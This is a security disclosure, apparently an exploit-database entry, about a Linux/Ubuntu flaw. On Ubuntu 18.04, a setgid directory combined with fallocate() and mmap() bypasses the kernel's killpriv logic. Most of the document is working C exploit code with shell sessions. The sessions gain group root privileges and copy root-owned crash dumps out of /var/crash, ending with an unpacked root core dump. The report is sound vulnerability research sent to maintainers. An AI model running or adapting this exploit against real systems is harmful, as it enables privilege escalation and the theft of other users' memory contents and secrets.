Linux (Ubuntu) – Other Users coredumps Can Be Read via setgid Directory and killpriv Bypass
/* Note: I am both sending this bug report to security@kernel.org and filing it in the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug or as a Ubuntu bug. You may wish to talk to each other to determine the best place to fix this. I noticed halfdog's old writeup at https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ , describing essentially the following behavior in combination with a trick for then writing to the resulting file without triggering the killpriv logic: ============= user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat > demo.c #include <fcntl.h> int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); } user@debian:~/sgid_demo$ gcc -o demo demo.c user@debian:~/sgid_demo$ ./demo user@debian:~/sgid_demo$ ls -l dir/file -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file ============= Two patches for this were proposed on LKML back then: "[PATCH 1/2] fs: Check f_cred instead of current's creds in should_remove_suid()" https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/ "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory" https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/ However, as far as I can tell, neither of them actually landed. You can also bypass the killpriv logic with fallocate() and mmap() - fallocate() permits resizing the file without triggering killpriv, mmap() permits writing without triggering killpriv (the mmap part is mentioned at https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/ ): ============= user@debian:~/sgid_demo$ sudo mkdir -m03777 dir user@debian:~/sgid_demo$ cat fallocate.c #define _GNU_SOURCE #include <stdlib.h> #include <fcntl.h> #include <err.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> int main(void) { int src_fd = open("/usr/bin/id", O_RDONLY); if (src_fd == -1) err(1, "open 2"); struct stat src_stat; if (fstat(src_fd, &src_stat)) err(1, "fstat"); int src_len = src_stat.st_size; char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0); if (src_mapping == MAP_FAILED) err(1, "mmap 2"); int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755); if (fd == -1) err(1, "open"); if (fallocate(fd, 0, 0, src_len)) err(1, "fallocate"); char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); memcpy(mapping, src_mapping, src_len); munmap(mapping, src_len); close(fd); close(src_fd); execl("./dir/file", "id", NULL); err(1, "execl"); } user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c user@debian:~/sgid_demo$ ./fallocate uid=1000(user) gid=1000(user) egid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user) ============= sys_copy_file_range() also looks as if it bypasses killpriv on supported filesystems, but I haven't tested that one so far. On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and contains group-readable crashdumps in some custom format, so you can use this issue to steal other users' crashdumps: ============= user@ubuntu-18-04-vm:~$ ls -l /var/crash total 296 -rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash -rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash -rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash -rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash -rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash cat: /var/crash/_usr_bin_id.0.crash: Permission denied user@ubuntu-18-04-vm:~$ cat fallocate.c */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <err.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> int main(int argc, char **argv) { if (argc != 2) { printf("usage: ./fallocate <file_to_read>"); return 1; } int src_fd = open("/bin/cat", O_RDONLY); if (src_fd == -1) err(1, "open 2"); struct stat src_stat; if (fstat(src_fd, &src_stat)) err(1, "fstat"); int src_len = src_stat.st_size; char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0); if (src_mapping == MAP_FAILED) err(1, "mmap 2"); unlink("/var/crash/privileged_cat"); /* in case we've already run before */ int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755); if (fd == -1) err(1, "open"); if (fallocate(fd, 0, 0, src_len)) err(1, "fallocate"); char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (mapping == MAP_FAILED) err(1, "mmap"); memcpy(mapping, src_mapping, src_len); munmap(mapping, src_len); close(fd); execl("/var/crash/privileged_cat", "cat", argv[1], NULL); err(1, "execl"); } /* user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen user@ubuntu-18-04-vm:~$ ls -l /var/crash total 384 -rwxr-sr-x 1 user whoopsie 35064 Jul 3 19:22 privileged_cat -rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash -rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash -rw-r--r-- 1 user whoopsie 50706 Jul 3 19:22 _usr_bin_id.0.crash.stolen -rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash -rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash -rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/ user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64' */ |